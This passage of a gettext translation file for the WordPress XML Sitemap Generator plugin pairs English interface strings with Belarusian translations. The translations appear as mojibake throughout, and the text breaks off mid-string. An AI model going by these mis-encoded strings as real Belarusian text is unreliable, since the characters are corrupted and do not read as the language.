+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:993
+msgid "Popularity Contest"
+msgstr "ÐÐ°Ð¿ÑÐ»ÑÑÐœÐ°ÑÑÑ ÐŽÑÑÐºÑÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:1005
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "ÐÑÐºÐ°ÑÑÑÑÐ°Ð¹ÑÐµ Ð°ÐºÑÑÐ²Ð°Ð²Ð°ÐœÑ <a href=\"%1\">Ð£Ð±ÑÐŽÐŸÐ²Ð° Ð¿Ð°Ð¿ÑÐ»ÑÑÐœÐ°ÑÑÑ ÐŽÑÑÐºÑÑÑÐ¹</a> Ð°ÐŽ <a href=\"%2\">Alex King</a>. ÐÐ». <a href=\"%3\">ÐÐ°Ð»Ð°ÐŽÑ</a> Ñ <a href=\"%4\">Ð¡Ð°ÐŒÑÑ Ð¿Ð°Ð¿ÑÐ»ÑÑÐœÑÑ Ð·Ð°Ð¿ÑÑÑ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+msgid "XML-Sitemap Generator"
+msgstr "ÐÐµÐœÐµÑÐ°ÑÐ°Ñ XML-ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+msgid "XML-Sitemap"
+msgstr "XML-ÐºÐ°ÑÑÐ° ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "ÐÑÐµÐŒÐœÐŸÐ³ÐŸ ÐŽÐ·ÑÐºÑÑ Ð·Ð° Ð°Ñ
+Ð²ÑÑÐ°Ð²Ð°ÐœÐœÑ. ÐÑ ÐŽÐ°Ð¿Ð°ÐŒÐ°Ð³Ð°ÐµÑÐµ ÐŒÐœÐµ Ñ Ð¿ÑÐŸÐŽÐ°Ð»Ð¶ÐµÐœÐžÐž Ð¿Ð°ÐŽÑÑÑÐŒÐºÑ Ñ ÑÐ°ÑÐ¿ÑÐ°ÑÐŸÑÐºÑ Ð³ÑÑÐ°Ð¹ ÑÐ±ÑÐŽÐŸÐ²Ñ Ñ ÑÐœÑÐ°Ð³Ð° Ð²ÐŸÐ»ÑÐœÐ°Ð³Ð° ÐÐ!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+msgid "Hide this notice"
+msgstr "Ð¡Ñ
+Ð°Ð²Ð°ÑÑ Ð³ÑÑÑÑ Ð·Ð°ÑÐ²Ð°Ð³Ñ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "ÐÐ·ÑÐºÑÑ ÐÐ°Ñ Ð·Ð° Ð²ÑÐºÐ°ÑÑÑÑÐ°ÐœÐœÐµ Ð³ÑÑÐ°Ð¹ ÑÐ±ÑÐŽÐŸÐ²Ñ! ÐÑ ÑÑÑÐ°Ð»ÑÐ²Ð°Ð»Ñ ÑÐ³ÐŸ Ð·Ð²ÑÑ ÐŒÐµÑÑÑÐ° ÐœÐ°Ð·Ð°ÐŽ. ÐÐ°Ð»Ñ ÑÐœ Ð¿ÑÐ°ÑÑÐµ Ñ ÐÑ Ð·ÐŽÐ°Ð²ÐŸÐ»ÐµÐœÑÑ ÑÐ³ÐŸ Ð²ÑÐœÑÐºÐ°ÐŒÑ, Ð²ÑÑÐ»ÑÑÐµ ÐŒÐœÐµ Ñ
+ÐŸÑÑ Ð±Ñ $1? <a href=\"%s\">ÐÑ
+Ð²ÑÑÐ°Ð²Ð°ÐœÐœÑ</a> ÐŽÐ°Ð¿Ð°ÐŒÐŸÐ³ÑÑÑ ÐŒÐœÐµ Ñ Ð¿Ð°ÐŽÑÑÑÐŒÑÑ Ñ ÑÐ°ÑÐ¿ÑÐ°ÑÐŸÑÑÑ Ð³ÑÑÐ°Ð³Ð° <i>Ð±ÑÑÐ¿Ð»Ð°ÑÐœÐ°Ð³Ð°</i> ÐÐ! <a href=\"%s\">ÐÑÐŽÐŸÐŒÐ°, Ð±ÐµÐ· Ð¿ÑÐ°Ð±Ð»ÐµÐŒ!</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+msgid "No thanks, please don't bug me anymore!"
+msgstr "ÐÐµ, ÐŽÐ·ÑÐºÑÐ¹. ÐÑÐ°ÑÑ ÐŒÑÐœÐµ Ð±ÐŸÐ»ÑÑ ÐœÐµ ÑÑÑÐ±Ð°Ð²Ð°ÑÑ!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2635
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2835
+msgid "XML Sitemap Generator for WordPress"
+msgstr "ÐÐµÐœÐµÑÐ°ÑÐ°Ñ XML-ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ° ÐŽÐ»Ñ WordPress"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2740
+msgid "Configuration updated"
+msgstr "ÐÐ°ÐœÑÑÐ³ÑÑÐ°ÑÑÑ Ð°Ð±ÐœÐŸÑÐ»ÐµÐœÐ°Ñ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2741
+msgid "Error while saving options"
+msgstr "ÐÐ°ÐŒÑÐ»ÐºÐ° Ð¿ÑÑ Ð·Ð°Ñ
+Ð°Ð²Ð°ÐœÐœÑ Ð¿Ð°ÑÐ°ÐŒÐµÑÑÐ°Ñ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2743
+msgid "Pages saved"
+msgstr "Ð¡ÑÐ°ÑÐŸÐœÐºÑ Ð·Ð°Ñ
+Ð°Ð²Ð°ÐœÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2744
+msgid "Error while saving pages"
+msgstr "ÐÐ°ÐŒÑÐ»ÐºÐ° Ð¿ÑÑ Ð·Ð°Ñ
+Ð°Ð²Ð°ÐœÐœÑ ÑÑÐ°ÑÐŸÐœÐ°Ðº"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2748
+#, php-format
+msgid "<a href=\"%s\">Robots.txt</a> file saved"
+msgstr "Ð€Ð°Ð¹Ð» <a href=\"%s\">Robots.txt</a> Ð·Ð°Ñ
+Ð°Ð²Ð°ÐœÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2750
+msgid "Error while saving Robots.txt file"
+msgstr "ÐÐ°ÐŒÑÐ»ÐºÐ° Ð¿ÑÑ Ð·Ð°Ñ
+Ð°Ð²Ð°ÐœÐœÑ ÑÐ°Ð¹Ð»Ð° Robots.txt"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2758
+msgid "The default configuration was restored."
+msgstr "ÐÐ°ÐœÑÑÐ³ÑÑÐ°ÑÑÑ Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ Ð°ÐŽÐœÐŸÑÐ»ÐµÐœÐ°Ñ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2851
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2868
+msgid "open"
+msgstr "Ð°ÐŽÐºÑÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2852
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2869
+msgid "close"
+msgstr "Ð·Ð°ÑÑÐœÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2853
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2870
+msgid "click-down and drag to move this box"
+msgstr "ÐÐ°ÑÑÑÐœÑÑÐµ ÐºÐœÐŸÐ¿ÐºÑ ÐŒÑÑÑ Ñ ÑÑÐ³ÐœÐµÑÐµ ÐŽÐ»Ñ Ð¿ÐµÑÐ°ÐŒÑÑÑÑÐœÐœÑ Ð³ÑÑÐ°Ð³Ð° Ð±Ð»ÐŸÐºÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2854
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2871
+msgid "click to %toggle% this box"
+msgstr "ÐÐ°ÑÑÑÐœÑÑÐµ ÐŽÐ»Ñ %toggle% ÐœÐ° Ð³ÑÑÑ Ð±Ð»ÐŸÐº"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2855
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2872
+msgid "use the arrow keys to move this box"
+msgstr "Ð²ÑÐºÐ°ÑÑÑÑÐ°Ð¹ÑÐµ ÑÑÑÑÐ»ÐºÑ ÐŽÐ»Ñ Ð¿ÐµÑÐ°ÐŒÑÑÑÑÐœÐœÑ Ð³ÑÑÐ°Ð³Ð° Ð±Ð»ÐŸÐºÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2856
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2873
+msgid ", or press the enter key to %toggle% it"
+msgstr ", Ð°Ð±ÐŸ ÐœÐ°ÑÑÑÐœÑÑÐµ ÐºÐŸÐ¿ÐºÑ ÑÐ²ÐŸÐŽ (enter) ÐŽÐ»Ñ %toggle% ÑÐ³ÐŸ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2884
+msgid "About this Plugin:"
+msgstr "ÐÐ± Ð³ÑÑÐ° ÑÐ±ÑÐŽÐŸÐ²Ðµ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2886
+msgid "Plugin Homepage"
+msgstr "Ð¥Ð°ÑÐœÑÑ ÑÑÐ°ÑÐŸÐœÐºÐ° ÑÐ±ÑÐŽÐŸÐ²Ñ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2887
+msgid "Notify List"
+msgstr "Ð¡Ð¿ÑÑ ÐœÐ°Ð¿Ð°ÐŒÑÐœÐºÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+msgid "Support Forum"
+msgstr "Ð€ÐŸÑÑÐŒ ÑÑÑ
+ÐœÑÑÐœÐ°Ð¹ Ð¿Ð°ÐŽÑÑÑÐŒÐºÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2889
+msgid "Donate with PayPal"
+msgstr "ÐÑ
+Ð²ÑÑÐ°Ð²Ð°ÑÑ Ð¿ÑÐ°Ð· PayPal"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2890
+msgid "My Amazon Wish List"
+msgstr "ÐÐŸÐ¹ ÑÐ¿ÑÑ Ð¿Ð°Ð¶Ð°ÐŽÐ°ÐœÐœÑÑ ÐœÐ° Amazon"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+msgid "translator_name"
+msgstr "ÐÐµÑÐ°Ð²ÑÑ Ð¡ÑÑÐ³ÐµÐ¹ Ð ÑÐ²ÐºÐžÐœ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+msgid "translator_url"
+msgstr "http://ryvkin.ru"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2895
+msgid "Sitemap Resources:"
+msgstr "Ð ÑÑÑÑÑÑ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2897
+msgid "Webmaster Tools"
+msgstr "ÐÑÑÐ»Ð°ÐŽÑ Ð²ÑÐ±-ÐŒÐ°Ð¹ÑÑÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+msgid "Webmaster Blog"
+msgstr "ÐÐ·ÑÐœÐœÑÐº Ð²ÑÐ±-ÐŒÐ°Ð¹ÑÑÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2900
+msgid "Site Explorer"
+msgstr "ÐÑÐ°Ð³Ð»ÑÐŽ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2901
+msgid "Search Blog"
+msgstr "ÐšÑÐºÐ°ÑÑ Ñ ÐŽÐ·ÑÐœÐœÑÐºÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2903
+msgid "Sitemaps Protocol"
+msgstr "ÐÑÐ°ÑÐ°ÐºÐŸÐ» Ð²ÑÐºÐ°ÑÑÑÑÐ°ÐœÐœÑ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2904
+msgid "Official Sitemaps FAQ"
+msgstr "ÐÑÑÑÑÐ¹ÐœÑ Ð§ÐÐÐ Ð¿Ð° ÐºÐ°ÑÑÐ°Ñ
+ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2905
+msgid "My Sitemaps FAQ"
+msgstr "ÐÐŸÐ¹ Ð§ÐÐÐ Ð¿Ð° ÐºÐ°ÑÑÐ°Ñ
+ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2910
+msgid "Recent Donations:"
+msgstr "ÐÐ¿ÐŸÑÐœÑÑ Ð°Ñ
+Ð²ÑÑÐ°Ð²Ð°ÐœÐœÑ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2914
+msgid "List of the donors"
+msgstr "Ð¡Ð¿ÑÑ ÑÐ¿ÐŸÐœÑÐ°ÑÐ°Ñ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2916
+msgid "Hide this list"
+msgstr "Ð¡Ñ
+Ð°Ð²Ð°ÑÑ Ð³ÑÑÑ ÑÐ¿ÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2919
+msgid "Thanks for your support!"
+msgstr "ÐÐ·ÑÐºÑÐ¹ Ð·Ð° ÐÐ°ÑÑ Ð¿Ð°ÐŽÑÑÑÐŒÐºÑ!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2931
+msgid "Status"
+msgstr "Ð¡ÑÐ°ÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2941
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "ÐÐ°ÑÑÐ° ÑÐ°Ð¹ÑÐ° ÑÑÑÑ ÐœÐµ Ð¿Ð°Ð±ÑÐŽÐ°Ð²Ð°ÐœÐ°Ñ. <a href=\"%s\">ÐÐ°ÑÑÑÐœÑÑÐµ ÑÑÑ</a> ÐŽÐ»Ñ ÑÑÐ²Ð°ÑÑÐœÐœÑ ÑÐµ ÑÐ¿ÐµÑÑÑÐœÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2947
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "ÐÐ°ÑÐ° <a href=\"%url%\">ÐºÐ°ÑÑÐ° ÑÐ°Ð¹ÑÐ°</a> Ð°Ð¿ÐŸÑÐœÑ ÑÐ°Ð· Ð±ÑÐ»Ð° Ð¿Ð°Ð±ÑÐŽÐ°Ð²Ð°ÐœÐ°Ñ: <b>%date%</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2949
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "ÐÑÑ Ð·Ð°Ð¿ÑÑÐµ ÐÐ°ÑÐ°Ð³Ð° ÑÐ°Ð¹Ð»Ð° Ð· ÐºÐ°ÑÑÐ°Ð¹ ÑÐ°Ð¹ÑÐ° Ð°ÐŽÐ±ÑÐ»Ð°ÑÑ Ð¿Ð°ÐŒÑÐ»ÐºÐ°. Ð£Ð¿ÑÑÐœÑÑÐµÑÑ, ÑÑÐŸ ÑÐ°Ð¹Ð» ÑÑÐœÑÐµ Ñ Ð°ÐŽÑÑÐœÐµÐœÑ ÐœÐ° Ð·Ð°Ð¿ÑÑ. <a href=\"%url%\">ÐÐ°ÑÑÑÐ°ÑÑ ÑÑÑÑ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2956
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "ÐÐ°ÑÐ° ÐºÐ°ÑÑÐ° ÑÐ°Ð¹ÑÐ° (<a href=\"%url%\">ÑÑÑÑÐœÑÑÐ°Ñ</a>) Ð°Ð¿ÐŸÑÐœÑ ÑÐ°Ð· Ð±ÑÐ»Ð° Ð¿Ð°Ð±ÑÐŽÐ°Ð²Ð°ÐœÐ°Ñ: <b>%date%</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2958
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "ÐÑÑ Ð·Ð°Ð¿ÑÑÐµ ÑÑÑÑÐœÑÑÐ°Ð¹ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ° Ð°ÐŽÐ±ÑÐ»Ð°ÑÑ Ð¿Ð°ÐŒÑÐ»ÐºÐ°. Ð£Ð¿ÑÑÐœÑÑÐµÑÑ, ÑÑÐŸ ÑÐ°Ð¹Ð» ÑÑÐœÑÐµ Ñ Ð°ÐŽÑÑÐœÐµÐœÑ ÐœÐ° Ð·Ð°Ð¿ÑÑ. <a href=\"%url%\">ÐÐ°ÑÑÑÐ°ÑÑ ÑÑÑÑ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2964
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Google Ð±ÑÑ <b>Ð¿Ð°ÑÐ¿ÑÑ
+ÐŸÐ²Ð° Ð¿Ð°ÑÐœÑÐ°ÑÐŒÐ°Ð²Ð°ÐœÑ</b> Ð°Ð± Ð·ÐŒÐµÐœÐ°Ñ
+."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "%time% ÑÐµÐºÑÐœÐŽ Ð·Ð°ÐœÑÐ»ÐŸ ÑÐœÑÐ°ÑÐŒÐ°Ð²Ð°ÐœÐœÐµ Google; ÐŒÐ°Ð³ÑÑÐŒÐ°, ÐÐ°Ñ Ð²Ð°ÑÑÐ° Ð°ÐŽÐºÐ»ÑÑÑÑÑ Ð³ÑÑÑÑ ÑÑÐœÐºÑÑÑ, ÐºÐ°Ð± Ð·ÐœÑÐ·ÑÑÑ ÑÐ°Ñ Ð¿Ð°Ð±ÑÐŽÐŸÐ²Ñ ÐºÐ°ÑÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3011
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "ÐÑÑ ÑÐœÑÐ°ÑÐŒÐ°Ð²Ð°ÐœÐœÑ Google Ð°ÐŽÐ±ÑÐ»Ð°ÑÑ Ð¿Ð°ÐŒÑÐ»ÐºÐ°. <a href=\"%s\">ÐÐ°Ð³Ð»ÑÐŽÐ·ÐµÑÑ Ð²ÑÐœÑÐº</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "YAHOO Ð±ÑÑ <b>Ð¿Ð°ÑÐ¿ÑÑ
+ÐŸÐ²Ð° Ð¿Ð°ÑÐœÑÐ°ÑÐŒÐ°Ð²Ð°ÐœÑ</b> Ð°Ð± Ð·ÐŒÐµÐœÐ°Ñ
+."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2979
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "%time% ÑÐµÐºÑÐœÐŽ Ð·Ð°ÐœÑÐ»ÐŸ ÑÐœÑÐ°ÑÐŒÐ°Ð²Ð°ÐœÐœÐµ YAHOO; ÐŒÐ°Ð³ÑÑÐŒÐ°, ÐÐ°Ñ Ð²Ð°ÑÑÐ° Ð°ÐŽÐºÐ»ÑÑÑÑÑ Ð³ÑÑÑÑ ÑÑÐœÐºÑÑÑ, ÐºÐ°Ð± Ð·ÐœÑÐ·ÑÑÑ ÑÐ°Ñ Ð¿Ð°Ð±ÑÐŽÐŸÐ²Ñ ÐºÐ°ÑÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3023
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "ÐÑÑ ÑÐœÑÐ°ÑÐŒÐ°Ð²Ð°ÐœÐœÑ YAHOO Ð°ÐŽÐ±ÑÐ»Ð°ÑÑ Ð¿Ð°ÐŒÑÐ»ÐºÐ°. <a href=\"%s\">ÐÐ°Ð³Ð»ÑÐŽÐ·ÐµÑÑ Ð²ÑÐœÑÐº</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2988
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.com Ð±ÑÑ <b>Ð¿Ð°ÑÐ¿ÑÑ
+ÐŸÐ²Ð° Ð¿Ð°ÑÐœÑÐ°ÑÐŒÐ°Ð²Ð°ÐœÑ</b> Ð°Ð± Ð·ÐŒÐµÐœÐ°Ñ
+."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "%time% ÑÐµÐºÑÐœÐŽ Ð·Ð°ÐœÑÐ»ÐŸ ÑÐœÑÐ°ÑÐŒÐ°Ð²Ð°ÐœÐœÐµ Ask.com; ÐŒÐ°Ð³ÑÑÐŒÐ°, ÐÐ°Ñ Ð²Ð°ÑÑÐ° Ð°ÐŽÐºÐ»ÑÑÑÑÑ Ð³ÑÑÑÑ ÑÑÐœÐºÑÑÑ, ÐºÐ°Ð± Ð·ÐœÑÐ·ÑÑÑ ÑÐ°Ñ Ð¿Ð°Ð±ÑÐŽÐŸÐ²Ñ ÐºÐ°ÑÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3035
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "ÐÑÑ ÑÐœÑÐ°ÑÐŒÐ°Ð²Ð°ÐœÐœÑ Ask.com Ð°ÐŽÐ±ÑÐ»Ð°ÑÑ Ð¿Ð°ÐŒÑÐ»ÐºÐ°. <a href=\"%s\">ÐÐ°Ð³Ð»ÑÐŽÐ·ÐµÑÑ Ð²ÑÐœÑÐº</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3002
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "ÐÑÐ°ÑÑÑ Ð¿Ð°Ð±ÑÐŽÐŸÐ²Ñ Ð·Ð°ÐœÑÑ Ð¿ÑÑÐºÐ»Ð°ÐŽÐœÐ° <b>%time% ÑÐµÐºÑÐœÐŽ</b> Ñ Ð²ÑÐºÐ°ÑÑÑÑÐ°Ñ %memory% MB Ð¿Ð°ÐŒÑÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3004
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "ÐÑÐ°ÑÑÑ Ð¿Ð°Ð±ÑÐŽÐŸÐ²Ñ Ð·Ð°ÐœÑÑ Ð¿ÑÑÐºÐ»Ð°ÐŽÐœÐ° <b>%time% ÑÐµÐºÑÐœÐŽ</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3008
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "Ð£ÑÑÑÐŒÐ°ÐœÐœÐµ ÐÐ°ÑÐ°Ð¹ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ° <strong>ÐœÐµ Ð·ÐŒÑÐœÑÐ»Ð°ÑÑ</strong> Ð·Ð° Ð°Ð¿ÐŸÑÐœÑ ÑÐ°Ñ, ÑÐ°ÐŒÑ ÑÐ°Ð¹Ð»Ñ ÐœÐµ Ð·Ð°Ð¿ÑÑÐ²Ð°Ð»ÑÑÑ Ñ Ð¿ÐŸÑÑÐºÐ°Ð²ÑÑ ÑÑÑÑÑÐŒÑ ÐœÐµ ÑÐœÑÐ°ÑÐŒÐ°Ð²Ð°Ð»ÑÑÑ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3012
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "ÐÐ¿ÐŸÑÐœÑ Ð·Ð°Ð¿ÑÑÐº ÐœÐµ Ð±ÑÑ Ð·Ð°Ð²ÐµÑÑÐ°ÐœÑ! ÐÐ°Ð³ÑÑÐŒÐ°, ÐÑ Ð¿ÐµÑÐ°Ð²ÑÑÑÐ»Ñ Ð»ÑÐŒÑÑÑ Ð¿Ð°ÐŒÑÑÑ Ð°Ð±ÐŸ ÑÐ°ÑÑ Ð²ÑÐºÐ°ÐœÐ°ÐœÐœÑ. <a href=\"%url%\">ÐÐ°ÑÑÑÐ°ÑÑ ÑÑÑÑ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3014
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "ÐÐ¿ÐŸÑÐœÑ ÑÐ°Ð· ÑÐºÑÑÐ¿Ñ Ð²ÑÐºÐ°ÑÑÑÑÐ°Ñ %memused%MB Ð¿Ð°ÐŒÑÑÑ, Ð»ÑÐŒÑÑ Ð¿Ð°ÐŒÑÑÑ ÐÐ°ÑÐ°Ð³Ð° ÑÐµÑÐ²ÐµÑÐ° ÑÐºÐ»Ð°ÐŽÐ°Ðµ %memlimit%."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3018
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "ÐÐ¿ÐŸÑÐœÑ ÑÐ°Ð· ÑÐºÑÑÐ¿Ñ Ð¿ÑÐ°ÑÐ°Ð²Ð°Ñ %timeused% ÑÐµÐºÑÐœÐŽ, Ð°Ð±ÐŒÐµÐ¶Ð°Ð²Ð°ÐœÐœÐµ ÑÐ°ÑÑ ÐœÐ° ÐÐ°ÑÑÐŒ ÑÐµÑÐ²ÐµÑÑ ÑÐºÐ»Ð°ÐŽÐ°Ðµ %timelimit% ÑÐµÐºÑÐœÐŽ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3022
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "Ð¡ÐºÑÑÐ¿Ñ ÑÐ¿ÑÐœÑÑÑÑ ÐºÐ°Ð»Ñ Ð°ÑÑÑÐºÑÐ»Ð° ÐœÑÐŒÐ°Ñ %lastpost% (+/- 100)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3025
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "ÐÐ°Ð»Ñ ÐÑ ÐœÐµÑÑÐ° Ð¿Ð°ÐŒÑÐœÑÐ»Ñ ÐœÐ° ÐÐ°ÑÑÐŒ ÑÐµÑÐ²ÑÐµ Ð°Ð±ÐŸ Ñ ÐŽÐ·ÑÐœÐœÑÐºÑ, ÐÐ°ÐŒ ÐœÐµÐ°Ð±Ñ
